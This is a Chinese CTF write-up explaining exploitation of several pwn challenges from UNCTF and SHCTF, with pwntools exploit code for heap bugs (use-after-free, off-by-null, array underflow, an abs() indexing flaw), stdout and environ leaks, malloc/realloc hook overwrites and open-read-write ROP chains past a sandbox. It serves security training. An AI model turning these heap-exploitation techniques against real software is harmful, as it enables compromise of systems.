writeup
unctf和shctf的pwn题操作
2019-11-20 10:41

0x01 闲说

最近的两次CTF,pwn题目很有意思(虽然很菜没做出来几个),觉得有必要记录下。


0x02 UNCTF

Box

程序分析

典型的heap题目,提供了类似add, edit, delete的功能,但是没有show。

从这里也可以看出难点在于泄露地址。

chunk的size限制在fastbin里

图片1.png

存在数组下溢,和UAF漏洞

图片2.png

这里的溢出,导致可以修改chunk之外的地址

图片3.png

UAF漏洞,这里组合一下可以Fastbin attack。


利用分析

由于并不存在输出,一般是需要IO的,这里我用数组下溢的漏洞覆写stdout结构。泄露出_IO_file_jumps,得到libc地址。

#leak address stdout

  edit(-12, p64(0xfbad1800) + p64(0)*3 + '\x00')

    data = p.recv(0x20)

    leak = u64(data[0x18:])                                 #io_file jump

拿到libc后,就是怎么覆盖指针的问题了,这里用的是realloc,需要覆盖__realloc_hook。一开始我没想到UAF怎么利用,又重新打起了IO的主意,想要利用覆盖stdin达到任意地址写的目的。但是stdin在数组正向,下溢出达不到。

换了一个思路,发现realloc_hook在stdout下不远处,于是就想直接覆盖过去。结果,本地成功了,远程发现没能写进去,这是因为read的数目是不可控的,环境不同写入的长度不一样。

没办法,回到了UAF。才发现这个似乎简单些。只需要在realloc附低一些的位置找到合法的size,字节错位就可以修改fastbin的fd,实现分配。

 #fastbin attack, uaf

  add(2, 0x58)

  add(3, 0x68)

  free(3)

  add(3, 0x68)

  edit(3, p64(realloc_hook-0xb-0x10))

  add(1, 0x68)

  add(2, 0x68)    #realloc

  edit(2, 'a'*0xb+ p64(system))

  add(0, 0x68)


小结

我这里应该是打了个非预期,看到大部分师傅是用的溢出。还有一个我不知道的知识点。就是realloc在size为0时,相当于free。然后利用unsorted bin打stdout。之后再free 和 realloc的类free打出double free的效果。


orwheap

程序分析

这题目里有沙箱,用sec查出限制的规则,限制了只能是x64的,且ban了execve。

图片4.png

只提供了add,delete,edit的功能。漏洞在add的时候输入内容,存在off-by-null。

图片5.png

利用分析

之前见过sandbox这种,但是那时可以修改规则绕过,执行execve,但是这里似乎不存在。

查了一些博客和题目的提示"orwheap",才知道是要想办法在栈上构造rop,open,read,write的方式。

首先泄露libc吧,这里利用off-by-null构造经典的overlapping,覆盖stdout。

def exploit():

  add(0x88, 'a'*0x10)      #0

  add(0x218, 'b'*0x10)    #1

  add(0x108, 'c'*0x10)    #2

  add(0x80, 'd'*0x10)      #3


  #fake

  edit(1, 'a'*0xf0 + p64(0x100) + p64(0x101))

  #into unsorted bin

  free(1)

  #null off by one

  free(0)

  add(0x88, 'a'*0x88)      #0


  #split from 1

  add(0x88, 'b1')        #1

  add(0x68, 'b2')        #4

  add(0x88, 'b3')        #5


  free(1)    

  free(2)            #overlapping above b


  free(4)            #into fastbin


  add(0x88, 'over')      #1


  #overwrite fastbin'fd to stdout 错位即可拿到IO_stdout

  add(0x290, '')        #2

  edit(2, '\xdd\x45')


  free(1)

  add(0x88, 'a'*0x80 + p64(0x91) + p64(0x71))  #1 modify size to 0x71 fastbin


  free(5)  

  gdb.attach(p, 'p puts')

  dbg()          

  add(0x68, 'padding')    #4

  add(0x68, 'stdout')      #5


  edit(5, 'a'*0x33 + p64(0xfbad1800) + p64(0)*3 + '\x00')

  data = p.recv(0x90)

    leak = u64(data[0x88:])                                 #io_file jump

    print "leak ==> " + hex(leak)


    if leak&0x7f00000008e0 == 0x7f00000008e0:


      libc_base = leak - libc.symbols['_IO_2_1_stdin_']

      print "libc_base ==> " + hex(libc_base)

但是如何泄露stack和PIE的codebase呢?这里参考别的师傅的WP,用到了environ,通过stdout泄露environ下的内容可以泄露stack。。。

     environ = libc.symbols['environ']

      print "environ ==> " + hex(environ)

   edit(5,'\x00'*0x33+p64(0xfbad1800)+p64(0)*3+p64(environ)+p64(environ+0x8)+ p64(environ+0x8))

      leakstack = u64(p.recv(6).ljust(8,'\x00'))

      print "leakstack ==> " + hex(leakstack)

      codeptr = leakstack - 0x30

      print "codeptr ==> " + hex(codeptr)


      edit(5, '\x00'*0x33+p64(0xfbad1800)+p64(0)*3+p64(codeptr)+p64(codeptr+0x8)+ p64(codeptr+0x8))

      codebase = u64(p.recv(6).ljust(8, '\x00')) - 0x969

      print "codebase ==> " + hex(codebase)

图片6.png

然后就是在stack上找到合法的size,得到chunk,进行rop的布置。完成open,read,write的流程。这个合法的size最后在edit功能的read函数ret时的stack中找到的。

dele(2)

fakechunk = leakstack - 0x17b

success("fakechunk: "+hex(fakechunk))

edit(0,'0'*0x88+p64(0x71)+'1'*0x68+p64(0x71)+p64(fakechunk))

add(0x68,'2')


add(0x68,'5')

之后就是rop的布置

prdiret = 0x0000000000001193+codebase

prsiret = 0x00000000000202e8+libcbase

prdxrsiret = 0x00000000001150c9+libcbase# : pop rdx ; pop rsi ; ret

leaveret = 0x0000000000000b40+codebase

prbp = 0x000000000001f930+libcbase

bss = codebase + 0x202000

openaddr = libcbase + libc.symbols['open']

read = libcbase + libc.symbols['read']

writeaddr = libcbase + libc.symbols['write']


rop1 = p64(prbp)+p64(bss+0x200)+p64(prsiret)+p64(bss+0x200)+p64(read)+p64(leaveret)


rop2 = p64(0)+p64(prbp)+p64(bss+0x300)+p64(prdiret)+p64(0)+p64(prdxrsiret)+p64(0x200)+p64(bss+0x300)+p64(read)+p64(leaveret)


rop3 = p64(0)+p64(prdiret)+p64(codebase+0x202388+8)+p64(prsiret)+p64(0)+p64(openaddr)+p64(prdiret)+p64(3)+p64(prdxrsiret)+p64(0x40)+p64(bss+0x500)+p64(read)+p64(prdiret)+p64(1)+p64(prdxrsiret)+p64(0x40)+p64(bss+0x500)+p64(writeaddr)+"/flag\x00"

edit(5,'\x00'*(0x2b)+rop1)#p64(0xdeadbeef))

sleep(1)

sl(rop2)

sleep(1)

sl(rop3)

irt()


小结

- stack和heap的结合,绕过sandbox,很精彩。


0x03 SHCTF

Boringheap

程序分析

size只提供三种选择0x20, 0x30, 0x40,对字节错位的利用有一定的干扰。

一开始真的没有找到问题在哪,后来注意到程序在求数组下标的时候多次用到abs函数求绝对值。在网上找到了一些有用的信息,这个函数有问题。(可以查阅abs的源码)

abs(0x80000000) = 0x80000000

也就是说

abs(‭-2147483648‬) = ‭-2147483648‬

只是这样还不够,这个溢出的太多,无法利用,但是有了取余操作就OK了。

问题在类似edit的功能里,这里的下标没有检查是否合法,经过取余,我们可以修改当前chunk的header字段,和上一个chunk的内容。

图片7.png

利用分析

提供了show功能,一般想办法利用unsorted bin泄露main_arena。

由于可以更改chunk的header,直接chunk overlapping进unsorted bin。

add(2, '\x00')      #0

  add(2, '\x11')      #1

  add(2, '\x22')      #2


  #fake a chunk as unlink

  payload = p64(0) + p64(0x31) + p64(0)*3 + p64(0x21)

  add(2, payload)      #3


  #fake big chunk

  add(3, p64(0) + p64(0x21))  #4

  add(2, p64(0) + p64(0x21))  #5

  add(3, '\x66')        #6


  #fake chunk1's size to 0x91, contain chunk2

  edit(1, 0x80000000, p64(0)*3 + p64(0x91))    

  free(1)      #chunk1 ,2 into unsorted bin, while 2 also in chunk_ptr

  add(2, '\x11')        #7

  show(2)

  main_arena = u64(p.recvline().strip('\n').ljust(8, '\x00')) - 0x58

  print "main_arena ==> " + hex(main_arena)

  libc.address = main_arena - 0x3c4b20

有了libc后,同样需要修改malloc_hook。这里由于size的限制没办法直接利用0x7f字节错位,所以需要在libc附近写入0x51这类的数。

首先,修改unsorted bin的size,再分配与之前类似的chunk,就可以拿到多个同样地址的chunk指针。

add(2, '\x44')        #8

  edit(2, 0x80000000, p64(0)*3 + p64(0xd1))  #modify unsorted bin's size , make a lat two pointer chunk

  free(2)

  add(2,"\xaa")        #9

  add(2,"\xaa")        #10

  add(3,"\x11")        #11

  add(1,"\x23")        #12

  add(1,"\x23")        #13

图片8.png

释放重复的pointer中的一个,可以操作另一个修改fastbin的fd。

  free(12)

  free(4)

图片9.png

字节错位的话,需要合法的size,与fastbin匹配,而我们发现chunk的地址都是0x5xxx...这类的,当然有一定的机率不是,但是总可以存在的。所以可以在main_arena内构造一个chunk。写入0x51这类合法的size。

图片0.png

然后这里如何覆盖到malloc_hook呢?由于top chunk在main_arena内,我们可以覆盖到malloc_hook附近。比较有意思的是,由于fastbin数组就存在main_arena里,我们可以直接构造xi相应的fastbin chunk。这里构造的就在top chunk上方,并写入合法的size 0x51。

  #modify fd' size to main_arena

  fake_fd = main_arena + 0x15 - 8

  edit(11, 0, p64(fake_fd))

  add(3, '\x12')


  payload = "\x11\x11\x11"+p64(libc.address+0x3c4b50)+p64(0)*2+p64(0x51)+p64(0)

  add(3, payload)

再次的分配就能覆盖top chunk到malloc_hook附近,继续分配就可以覆盖malloc_hook为one_gadget。

  #modify top chunk which is in main_arena

  add(3, p64(0)*2+p64(__malloc_hook-0x10)+p64(0x3c4b78+libc.address)+p64(0x3c4b78+libc.address)+p64(0x3c4b78+libc.address))

  add(3,p64(libc.address+0xf1147))


小结

这题的妙处在修改main_arena的内容,即可以修改fastbin数组内容,又可以修改top chunk。感觉这种方式很好使,之前没怎么尝试过,以后多试试!


程序分析

存在很明显的UAF漏洞

图片11.png

结构里存在函数指针,且在一定条件下会调

图片12.png

其实s还有栈溢出,但是又有canary保护,没办法利用。


利用分析

一直想用那个函数指针调用,而且因为UAF的存在,函数指针可以覆写。

但是由于strcmp的问题,没有合适的方法可以触发。比如,我想把参数改写为puts_got,但是需要输入puts的真实地址才能通过strcmp验证,这就扯了,我要是知道还泄露?

这里有一个想法,就是我们可以通过strcmp比较的结果给出的不同的输出能够爆破绕过ALSR。但是参考别的WP找到一个更好的绕过方式,那就是综合利用栈溢出和这个函数指针。之前在纯粹的栈溢出中,ROP的方式下ret指令,通常可以构成gadgets利用。但是,这条指令不是依赖于函数返回地址的,而是依赖于栈的。简单的说,就是任何时候执行ret指令,都可以把栈上的地址作为下一步的执行地址。这里也是用的这个。

首先看下,程序保存了一些符号信息,这些地址可以直接拿来绕过

图片13.png

这里,不在执着于用函数指针去覆,而是用代码片段去覆盖,结合栈溢出的4个size,就可以劫持程序流程。

图片14.png

这里为什么用4个pop是因为在栈溢出之后执行chunk里的指针函数时候的栈的布局

图片15.png

这样就可以在不覆盖函数返回地址的情况下以ROPd的方式劫持程序流。

需要重复利用的时候,只需要将rop返回地址改到程序的正常结束的位置即可。

图片16.png

  add(0, 0x88, 'tree')

  add(1, 0x88, 'back')

  add(2, 0x88, 'aaaa')

  free(0)

  free(1)

  puts_str = 0x400452

  pop_4_ret = 0x400F2C

  pop_rdi = 0x0000000000400f33

  puts_got = 0x601FA8

  puts_plt = 0x4006B8

  ret = 0x400C13


  payload = 'puts\x00\x00\x00\x00' + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(ret)


  gdb.attach(p, 'b* 0x400E04')

  dbg()


  add(3, 0x18, p64(puts_str) + p64(pop_4_ret))

  login(1, len(payload), payload)


  p.recvline()

  puts_addr = u64(p.recvline().strip('\n').ljust(8, '\x00'))

  libc.address = puts_addr - libc.symbols['puts']

  system_addr = libc.symbols['system']


0x04 总结

- rop不仅在stack中,也可以和heap发生反应。

- 灵活的利用IO会有别样的效果。


0x05 学习参考

- 萝卜

- leedin



相关实验推荐:CTF-PWN系列汇总

点击 链接 去做实验吧~!


上一篇:calc全家桶
下一篇:从一道ctf题中学会了利用LD_PRELOAD突破disable_functions
版权所有 合天智汇信息技术有限公司 2013-2018 湘ICP备14001562号-6
Copyright © 2013-2018 Heetian Corporation, All rights reserved
4006-123-731